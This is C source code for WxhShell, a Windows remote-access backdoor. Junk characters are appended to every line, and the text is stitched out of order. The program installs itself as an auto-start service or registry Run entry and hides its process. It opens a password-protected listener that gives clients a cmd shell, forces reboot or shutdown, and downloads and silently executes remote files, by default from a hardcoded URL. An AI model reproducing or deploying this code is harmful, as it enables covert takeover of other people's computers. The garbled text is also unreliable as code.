    closesocket(wsh); \~nUk7.  
    ExitThread(0); nLkC-+$tM  
    } wP/rR D6  
    break; &K k+RHM  
    } ,K7C2PV6  
  // 关机 yo V"?W>!  
  case 'd': { kYs2AzS{d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hmkcW r`  
    if(Boot(SHUTDOWN)) <2y~7h:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FQi"OZHq  
    else { RCNqHYR  
    closesocket(wsh); V&KH{j/P  
    ExitThread(0); M:?eK [h  
    } M 0->  
    break; |6\ ?"#  
    } _}Jz_RS2`  
  // 获取shell Yl1@ gw7  
  case 's': { zEY Ey1  
    CmdShell(wsh); ' 7>}I{Lq  
    closesocket(wsh); =]7|*-  
    ExitThread(0); ]5td,2E C  
    break; Mz]LFM  
  } >C_! }~  
  // 退出 (m3p28Q?  
  case 'x': { [ sz#*IJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]-{T-*h:  
    CloseIt(wsh); -$WiB  
    break; txr!3-Ne'!  
    } \@OKB<ra  
  // 离开 zy@ #R;  
  case 'q': { & A9psc(,&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _F^|n}Qbj  
    closesocket(wsh); 6@o_MtI  
    WSACleanup(); bz H5Lc{%  
    exit(1); 2~h)'n7Mw  
    break; x)#k$ QU  
        } }9P)<[>  
  } U$VTk  
  } ;?inf`t  
|c8p{)  
  // 提示信息 jopC\Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \/K>Iv'$  
} 40%p lNPj  
  } 7F?^gMi  
>1s:F5u"  
  return; nEOhN  
} :CHCVoh@95  
XNu2G19jb  
// shell模块句柄 KU33P>a"[k  
int CmdShell(SOCKET sock) .:RoD?px  
{ [Z Ea3/  
STARTUPINFO si; Bb:jy!jq_  
ZeroMemory(&si,sizeof(si)); *N'B(j/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?\\ ]u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h"%6tpV-  
PROCESS_INFORMATION ProcessInfo; ['-ln)96.  
char cmdline[]="cmd"; `34[w=Zm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W,Dr2$V  
  return 0; i8HSYA  
} ~,':PUkiV  
%I Y-0\  
// 自身启动模式 8Qu].nKe  
int StartFromService(void) "c\T  
{ F w{8MQ2  
typedef struct Zb2 B5( 0  
{ SCxzT}#J  
  DWORD ExitStatus; X[;4.imE  
  DWORD PebBaseAddress; 2b|vb}|t{  
  DWORD AffinityMask; wZrdr4j  
  DWORD BasePriority; Bfw>2  
  ULONG UniqueProcessId; P!bm$h*3?  
  ULONG InheritedFromUniqueProcessId; }aX).u  
}   PROCESS_BASIC_INFORMATION; yJb;V#  
j?z(fs-  
PROCNTQSIP NtQueryInformationProcess; Y,E:?  
:X`J1E]Rjd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &2?kD{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zP=J5qOZ8  
bk4%lYJ"  
  HANDLE             hProcess; $8i t&/JP,  
  PROCESS_BASIC_INFORMATION pbi; @Gn9x(?J  
m@HU;J\I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V i#(x9.  
  if(NULL == hInst ) return 0; e`}|*^-  
3Q`'C7Pi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >Ckb9A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a+]=3o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yx/:<^"-$  
Ti' GSL  
  if (!NtQueryInformationProcess) return 0; ;yk@`<  
TR)' I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1YnDho;~  
  if(!hProcess) return 0; IHagRldG  
W=)}=^N0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V<nzThM\  
Zqam Iq  
  CloseHandle(hProcess); R!$j_H  
_TX.}167;-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |y'q`cY  
if(hProcess==NULL) return 0; j<L!ONvJ1  
K{|;'N-1  
HMODULE hMod; Q_uv.\*z_  
char procName[255]; kP;Rts8JD  
unsigned long cbNeeded; z5Nw+#m| i  
qVM]$V#e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $<33E e:a  
Uc9Uj  
  CloseHandle(hProcess); iwmXgsRa9}  
:EA,0 ,  
if(strstr(procName,"services")) return 1; // 以服务启动 OB$A"XGAEV  
<<;j=Yy({`  
  return 0; // 注册表启动 [9+M/O|Vs  
} 4L5Wa~5\  
)0d3sJ8  
// 主模块 QL\'pW5  
int StartWxhshell(LPSTR lpCmdLine) }){hQt7  
{  ;\iQZ~   
  SOCKET wsl; lXz<jt@5  
BOOL val=TRUE; @[JQCQ#r  
  int port=0; D %5 0  
  struct sockaddr_in door; n7{c0;)$  
+JQN=nTA  
  if(wscfg.ws_autoins) Install(); $fh?(J  
,[ Ytl  
port=atoi(lpCmdLine);  &$+yXN  
1y?TyUP  
if(port<=0) port=wscfg.ws_port; @8_K^3-~e  
pCg0xbc`  
  WSADATA data; zSq+#O1#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j f^fj-  
!Sw7!h.ut  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f'%}{l: ss  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `,7BU??+u  
  door.sin_family = AF_INET; +F0M?,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zR`]8E]  
  door.sin_port = htons(port); x3M`l|  
i.byHz?/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^AEg?[q  
closesocket(wsl); ZMx<:0ai  
return 1; 6SidH_&C  
} p$"*U[%l  
8Ipyr%l  
  if(listen(wsl,2) == INVALID_SOCKET) { Y8CXin h  
closesocket(wsl); 2oq>tnYyV[  
return 1; {(aJrSE<z  
} 8}S|iM  
  Wxhshell(wsl); x&?35B i  
  WSACleanup(); Ii,L6c  
ZsV'-gu  
return 0; S*\`LBl"nX  
d ch(HB}[  
} nq$^}L3&~  
U1&m-K  
// 以NT服务方式启动 ]*v%(IGK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R a 9/L  
{  lual'~  
DWORD   status = 0; G-;pMFP(?  
  DWORD   specificError = 0xfffffff; s=KA(4p  
,Ma$:6`f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 61wGIN2,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u/,m2N9cL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jN B-FVaT  
  serviceStatus.dwWin32ExitCode     = 0; ,D#~%kq~  
  serviceStatus.dwServiceSpecificExitCode = 0; ,':?3| $c  
  serviceStatus.dwCheckPoint       = 0; O"{NHNG\oT  
  serviceStatus.dwWaitHint       = 0; pG|DT ?  
1g|H8CA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KWd]?e)  
  if (hServiceStatusHandle==0) return; :K W   
&0N 3 p  
status = GetLastError(); G2em>W_n  
  if (status!=NO_ERROR) ;%Z)$+Z_)<  
{ xOEj+%M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cvAkP2  
    serviceStatus.dwCheckPoint       = 0; Q+#, VuM  
    serviceStatus.dwWaitHint       = 0; 6rR}qV,+{  
    serviceStatus.dwWin32ExitCode     = status; L-$GQGk{  
    serviceStatus.dwServiceSpecificExitCode = specificError; JZai{0se  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7@06x+!  
    return; eP;lH~!.0  
  } 7<X_\,I  
(Kx3:gs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .PF~8@1ju  
  serviceStatus.dwCheckPoint       = 0; 5 kQC  
  serviceStatus.dwWaitHint       = 0; zvSfW# *  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g9 g &]  
} CbwQ'c$}  
?HU(0Vgn'  
// 处理NT服务事件,比如:启动、停止 E Xo"F*gW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :5p`H  
{ |nv8&L8  
switch(fdwControl) z+Y0Zh";/#  
{ nww,y  
case SERVICE_CONTROL_STOP: WG1x:,-  
  serviceStatus.dwWin32ExitCode = 0; [_CIN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O-q [#P  
  serviceStatus.dwCheckPoint   = 0; z,$^|'pP  
  serviceStatus.dwWaitHint     = 0; j].XVn,  
  { gh3_})8c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {QJJw}!#  
  } &@nI(PXv  
  return; SmC91XO  
case SERVICE_CONTROL_PAUSE: *<]ulR2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M/>^_zG  
  break; %n T!u!#  
case SERVICE_CONTROL_CONTINUE: }zj_Pp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jIg]?4bW[  
  break; sF f@>  
case SERVICE_CONTROL_INTERROGATE: kwWDGA?zFB  
  break; _-^a8F>/19  
}; r ",..{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +<&_1% 5+  
} O_*%_S}F&  
PA&Ev0`+  
// 标准应用程序主函数 N-y[2]J90  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ={B%qq  
{ SwXVa/9a"  
?s6v>#H%  
// 获取操作系统版本 :)p\a1I[*  
OsIsNt=GetOsVer(); }k~ih?E^s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3c}@_Yn  
+d>?aqI\A  
  // 从命令行安装 ?^n),mR  
  if(strpbrk(lpCmdLine,"iI")) Install(); BF b<"!Y  
P XKEqcQR  
  // 下载执行文件 kc-=5l  
if(wscfg.ws_downexe) { g1Ed:V]_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "m4. _4U  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q V)>+6\  
} gF# HNv  
GRM6H|.  
if(!OsIsNt) { :m]H?vq] \  
// 如果时win9x,隐藏进程并且设置为注册表启动 N:x--,2  
HideProc(); X6 *4IE  
StartWxhshell(lpCmdLine); ;-#2p^  
} %<8`(Uu5  
else t-B5,,`  
  if(StartFromService()) ( RO-~-  
  // 以服务方式启动 SO4?3wg7  
  StartServiceCtrlDispatcher(DispatchTable); oq${}n<  
else `,QcOkvbC  
  // 普通方式启动 Pm&hv*D  
  StartWxhshell(lpCmdLine); _rM?g1}5j  
FJ,"a%m/Q  
return 0; e`n+U-)z  
} 6~c#G{kc  
t.y-b`v  
6S`0<Z;;/  
)G#mC0?PV  
=========================================== 3{$vN).  
^G|* =~_  
V56WgOBxz  
;3x*pjLG:Q  
Ps!umV  
y+3+iT@i  
" C RBj>  
TyDh\f!w  
#include <stdio.h> e,N}z  
#include <string.h> is }>+&_  
#include <windows.h> ]Hp>~Zvbb  
#include <winsock2.h> XeX\u3<D  
#include <winsvc.h> n{u\t+f  
#include <urlmon.h> &AN1xcx\  
B (Ps/  
#pragma comment (lib, "Ws2_32.lib") cbN;Kv?ak}  
#pragma comment (lib, "urlmon.lib") m g,1*B'  
^/_Yk.w  
#define MAX_USER   100 // 最大客户端连接数 /~M H]Gh  
#define BUF_SOCK   200 // sock buffer o^XDG^35`  
#define KEY_BUFF   255 // 输入 buffer SQ_Je+X  
Q$uv \h;  
#define REBOOT     0   // 重启 Kci. ,I  
#define SHUTDOWN   1   // 关机 G54J'*Z  
`78Bv>[A  
#define DEF_PORT   5000 // 监听端口 (+c1.h  
;z.L^V0  
#define REG_LEN     16   // 注册表键长度 oNZ_7tU  
#define SVC_LEN     80   // NT服务名长度 d]poUN~x  
h5SJVa  
// 从dll定义API q.p.$)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,jOJ\WXP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8[;vC$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *,mI=1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1W\E`)Z}]  
m>%b4M  
// wxhshell配置信息 !$A/.;0$  
struct WSCFG { MB!9tju  
  int ws_port;         // 监听端口 ! !A0K"h  
  char ws_passstr[REG_LEN]; // 口令 #F`A(n  
  int ws_autoins;       // 安装标记, 1=yes 0=no t%;w<1E  
  char ws_regname[REG_LEN]; // 注册表键名 2 /FQ;<L  
  char ws_svcname[REG_LEN]; // 服务名 (J[Xryub  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p}^5ru  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yVII<ImqIH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +? h}e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ];Z6=9n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?u|@,tQ[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4qE95THB  
<q8@a0e@  
}; q pCI [[  
VGmvfhf#"  
// default Wxhshell configuration 6|zhqb|s  
struct WSCFG wscfg={DEF_PORT, 5BJ E  
    "xuhuanlingzhe", T1]?E]m{  
    1, &)Xc'RQ.C  
    "Wxhshell", =eDIvNps  
    "Wxhshell", * :O"R  
            "WxhShell Service", {uj_4Ft  
    "Wrsky Windows CmdShell Service", J0?kEr  
    "Please Input Your Password: ", |M7cB$y  
  1, qx t0Jr8  
  "http://www.wrsky.com/wxhshell.exe", >> zd  
  "Wxhshell.exe" Y3Fj3NwS  
    }; }5-w,m{8/  
1@DC#2hPr  
// 消息定义模块 9@lWI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !R=@Nr>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M2O_kO eZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q.c)>=!.  
char *msg_ws_ext="\n\rExit."; j{@6y  
char *msg_ws_end="\n\rQuit."; G3~`]qf  
char *msg_ws_boot="\n\rReboot..."; [ QiG0D_'=  
char *msg_ws_poff="\n\rShutdown..."; H"#ITL  
char *msg_ws_down="\n\rSave to "; f#\YX tR,k  
&EfQ%r}C  
char *msg_ws_err="\n\rErr!"; l~6K}g?  
char *msg_ws_ok="\n\rOK!"; %GHGd'KO&  
T#) )_aC  
char ExeFile[MAX_PATH]; wY8:j  
int nUser = 0; {_QdB;VwH  
HANDLE handles[MAX_USER]; 1u 9hA~rj  
int OsIsNt; '+`[)w  
c+ oi8G  
SERVICE_STATUS       serviceStatus; BmG(+;;&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QO2cTk m  
vrkY7L3\  
// 函数声明 /ad9Q~nJ  
int Install(void); `Mnu<)v  
int Uninstall(void); rm iOeS`:  
int DownloadFile(char *sURL, SOCKET wsh); =~B"8@B  
int Boot(int flag); CMXF[X)%  
void HideProc(void); AcC &Q:g  
int GetOsVer(void); yD7BZI xW  
int Wxhshell(SOCKET wsl); DxJ;C09xNa  
void TalkWithClient(void *cs); zx3gz7>k;  
int CmdShell(SOCKET sock); ^7-zwl(>?N  
int StartFromService(void); CL|/I:%0  
int StartWxhshell(LPSTR lpCmdLine); c$O8Rhx  
,o& C"sb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X@rA2);6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *l+#<5x  
^"WV E["  
// 数据结构和表定义 0!T`.UMI  
SERVICE_TABLE_ENTRY DispatchTable[] = eTiTS*`u  
{ [3 Pp NCY  
{wscfg.ws_svcname, NTServiceMain}, [nTI\17iA  
{NULL, NULL} GJ+^t  
}; P {TJ$  
cHs3:F~~  
// 自我安装 8xAV[i  
int Install(void) `(e :H  
{ /yOx=V  
  char svExeFile[MAX_PATH]; /wV|;D^ )  
  HKEY key; 3Q=^&o0fl  
  strcpy(svExeFile,ExeFile); l":W@R  
Ri.tA  
// 如果是win9x系统,修改注册表设为自启动 #BC"bY  
if(!OsIsNt) { &*C5Nnlv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b 7UJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i"^>sk  
  RegCloseKey(key); T] zEcx+e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %FO{:@CH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OtG\Uw8  
  RegCloseKey(key); 0MG>77  
  return 0; 5E]t4"  
    } b;k+N`  
  } YW7W6mWspS  
} xa>| k>I  
else { =>jp\A  
J:xGEa t  
// 如果是NT以上系统,安装为系统服务 Ql*zl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dY*q[N/pO  
if (schSCManager!=0) "mlQ z4D)5  
{ @60D@Y  
  SC_HANDLE schService = CreateService 2w 2Bc+#o  
  ( C]`uC^6g  
  schSCManager, *l2`- gbE  
  wscfg.ws_svcname, l/eF P  
  wscfg.ws_svcdisp, j4.wd RK  
  SERVICE_ALL_ACCESS, +iVEA(0&$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p"g|]@m  
  SERVICE_AUTO_START, OQVrg2A%(  
  SERVICE_ERROR_NORMAL, }9~^}99}  
  svExeFile, 7=!9kk0  
  NULL, wPA^nZ^}9c  
  NULL, $l7^-SK`E  
  NULL, 64s;EC  
  NULL, AK:cDKBO  
  NULL $ [gN#QW%  
  ); Y'v[2s  
  if (schService!=0) ] lB zpD  
  { /:{%X(8  
  CloseServiceHandle(schService); Cf {F"o  
  CloseServiceHandle(schSCManager); $ghZ<Y2}9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }3pM,.  
  strcat(svExeFile,wscfg.ws_svcname); @<.@ X*#I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NYm"I`5w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !`DRJ)h  
  RegCloseKey(key); I \:WD"  
  return 0; &V"oJ}M/a  
    } !X>u.}?g  
  } ZnG.::&:  
  CloseServiceHandle(schSCManager); V Z(/g"9  
} YOCEEh?  
} qQ@| Cj  
9U8M|W|d  
return 1; S,Y|;p<+^  
} c}(WniR-"  
%)ho<z:7U  
// 自我卸载 K,b M9>}  
int Uninstall(void) 3DU1c?M:  
{ Ndmt$(b  
  HKEY key;  Z>[7#;;  
2*#|t: (c  
if(!OsIsNt) { f5jl$H.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JF~i.+{ h  
  RegDeleteValue(key,wscfg.ws_regname); =L6#=7hcl  
  RegCloseKey(key); Gp"GTPT{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?J}Q&p.  
  RegDeleteValue(key,wscfg.ws_regname); $( hT{C,K  
  RegCloseKey(key); )>volP  
  return 0; lj4Fg*/Yn  
  } Zt=|q$"  
} 5]xuU.w'  
} )uPJ? 2S9  
else { S-Uod y  
NBikYxa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .~z'm$s1o  
if (schSCManager!=0) 9shf y4?k  
{ gI+8J.AG=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FG?Mc'r&  
  if (schService!=0) la!]Y-s)'4  
  { 8@3K, [Mo  
  if(DeleteService(schService)!=0) { SZykG[  
  CloseServiceHandle(schService); iD^,O)b  
  CloseServiceHandle(schSCManager); Jt~Ivn,  
  return 0; hI[} -  
  } 3jmo[<p*x  
  CloseServiceHandle(schService); .@1+}0  
  } -m@o\9Ic  
  CloseServiceHandle(schSCManager); h`[$ Bp  
} .*O*@)}Ud  
} L/3A g* ]  
.RD<]BxJ  
return 1; )6|L]'dsZ  
} qi-XNB`b  
m|*B0GW  
// 从指定url下载文件 !avol/*  
int DownloadFile(char *sURL, SOCKET wsh) U82a]i0  
{ mHD_cgKN  
  HRESULT hr; WT *"V<Z  
char seps[]= "/"; R@e'=z[%1  
char *token; 8K%N7RL|  
char *file; aSR-.r  
char myURL[MAX_PATH]; `~1!nfFD  
char myFILE[MAX_PATH]; yR}. Xq/  
V<ESj K8  
strcpy(myURL,sURL); `e[S Zj\  
  token=strtok(myURL,seps); FD=% 4#|  
  while(token!=NULL) X/_I2X  
  { AtT7~cVe  
    file=token; JsEJ6!1  
  token=strtok(NULL,seps); N?GTfN  
  } <-lM9}vd  
STKL  
GetCurrentDirectory(MAX_PATH,myFILE); 2TK \pfD  
strcat(myFILE, "\\"); uvys>]+  
strcat(myFILE, file); iP:i6U]  
  send(wsh,myFILE,strlen(myFILE),0); |vI*S5kn6A  
send(wsh,"...",3,0); h my%X`%j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3m1g"  
  if(hr==S_OK)  tV}!_  
return 0; h~dQ5%  
else V&Y`?Edc  
return 1; `Rq=:6U;3  
8|&,JdT  
} -4Qub{Uym  
#2Rz=QI  
// 系统电源模块 `/| *u  
int Boot(int flag) }F08o,`?  
{ 2.qPMqH  
  HANDLE hToken; H MOIUd  
  TOKEN_PRIVILEGES tkp; dSI"yz  
[8V;Q  
  if(OsIsNt) { ~ |G&cg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lg%fjBY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "be\%W+<  
    tkp.PrivilegeCount = 1; 'nmGHorp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4.A^5J'W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q^X7x_  
if(flag==REBOOT) { 7>hcvML  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) unDW2#GX  
  return 0; 3:nhZN/95T  
} 0KA*6]h t  
else { mF~T?L"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %h. zkocM  
  return 0; U~G7~L &m  
} "8za'@D"f  
  } q(sTKT[V  
  else { i4D(8;  
if(flag==REBOOT) {  5"%.8P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q<Rj Ai  
  return 0; )\wkVAm  
} c[@_t.%)  
else { {X,%GI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sG g458  
  return 0; p.8bX  
} 79DNNj~  
} B4s$| i{D  
n,T &n  
return 1; !$)reaS  
} HZrA}|:h  
J+D|/^  
// win9x进程隐藏模块 7w )?s@CD  
void HideProc(void) d<c29Y  
{ Omd;  
O]:9va  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t FU4%c7V  
  if ( hKernel != NULL ) k@xinK%O{  
  { EKc<|e,F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .jRI $vm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =<\22d5L  
    FreeLibrary(hKernel); R~<N*En~  
  } :>-zT[Lcn  
XQ1]F{?/H  
return; E|pT6  
} ]w*"KG!(  
q@.>eB'92P  
// 获取操作系统版本 KXKT5E$  
int GetOsVer(void) VuLb9Kn  
{ \zd[A~!  
  OSVERSIONINFO winfo; rrIyZ@_d9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A}fm).Wp@  
  GetVersionEx(&winfo); hs6pp/h>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) txEN7!  
  return 1; E}wT5t;u  
  else DJGafX^  
  return 0; M)13'B.  
} zC50 @S3|  
?NE/ }?a  
// 客户端句柄模块 RO3LZBL  
int Wxhshell(SOCKET wsl) i)l0[FNI}  
{ iXWzIb}CJ-  
  SOCKET wsh; Om.%K>V  
  struct sockaddr_in client; ]9!y3"..W{  
  DWORD myID; SIK:0>yK"  
0E\#!L  
  while(nUser<MAX_USER) pq*e0uW  
{  O_ _s~  
  int nSize=sizeof(client); V x#M!os0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &l6@C3N$  
  if(wsh==INVALID_SOCKET) return 1; .2I?^w&j+  
&C'^YF_^0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bvD}N<>3N  
if(handles[nUser]==0) `%YMUBaI  
  closesocket(wsh); |s3;`Nxu7  
else m|NZ093d  
  nUser++; coCT]<  
  } Kp7D I0~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Kebr>t8^  
L|1,/h 8p  
  return 0; ,#;hI{E  
} MkW=sD_  
%??v?M*  
// 关闭 socket Gf8^nfr  
void CloseIt(SOCKET wsh) 1zRYd`IPoq  
{ l]G iz&  
closesocket(wsh); 628iN%[-  
nUser--; # WjQ'c:  
ExitThread(0); $:I{  
} ?j&hG|W9<z  
'VV U-)(8  
// 客户端请求句柄 9!Av sC9  
void TalkWithClient(void *cs) _l{~O  
{ |GMo"[  
$SQ$2\iC  
  SOCKET wsh=(SOCKET)cs; [IHo ~   
  char pwd[SVC_LEN]; 2 G.y.#W  
  char cmd[KEY_BUFF]; V u")%(ix  
char chr[1]; )\yK61aX  
int i,j; 6UCF w>  
<M9NyD`  
  while (nUser < MAX_USER) { ?22U0UF  
s AFn.W  
if(wscfg.ws_passstr) { &~2m@X(o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3JC uM_y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pW+uVv,  
  //ZeroMemory(pwd,KEY_BUFF); ]x)!Kd2>  
      i=0; rC@VMe|0  
  while(i<SVC_LEN) { pZ8J\4+  
rp\`uj*D  
  // 设置超时 1v&!%9  
  fd_set FdRead; +iQ@J+k  
  struct timeval TimeOut; k, N{  
  FD_ZERO(&FdRead); F]M-r{  
  FD_SET(wsh,&FdRead); t]I9[5Pq\  
  TimeOut.tv_sec=8; kqX=3Zo  
  TimeOut.tv_usec=0; *zUK3&n~I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?OW!D?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g}!{_z  
Uha.8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +TbAtkEF*  
  pwd=chr[0]; )l9KDObis  
  if(chr[0]==0xd || chr[0]==0xa) { U4 *u|A  
  pwd=0; YE@yts  
  break; e-*@R#x8+  
  } jyD~ER}J  
  i++; CHTK.%AQH!  
    } n*"r!&Dg  
.@): Uh  
  // 如果是非法用户,关闭 socket J4ZHE\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j7)mC4o:%  
} N!ihj:,  
LEM%B??&5z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a4UwhbH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  2d*bF.  
g8cBb5(L  
while(1) { MWme3u)D  
dnomnY(*<  
  ZeroMemory(cmd,KEY_BUFF); *%/O (ohs@  
Xfg3q.q  
      // 自动支持客户端 telnet标准   t Cb34Wpf  
  j=0; n UmyPQ~  
  while(j<KEY_BUFF) {  <O7!(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6=n|Ha  
  cmd[j]=chr[0]; f I=G>[  
  if(chr[0]==0xa || chr[0]==0xd) {  dwk%!%  
  cmd[j]=0; hZfj$|<  
  break; ]y.V#,6e  
  } (o*YGYC  
  j++; 7d R?70Sz  
    } #f"eZAQ {  
Nl[&rZ-&  
  // 下载文件 ~;9n6U  
  if(strstr(cmd,"http://")) { |K_%]1*riC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0Xb\w^  
  if(DownloadFile(cmd,wsh)) l<XYDb~op  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4GP?t4][  
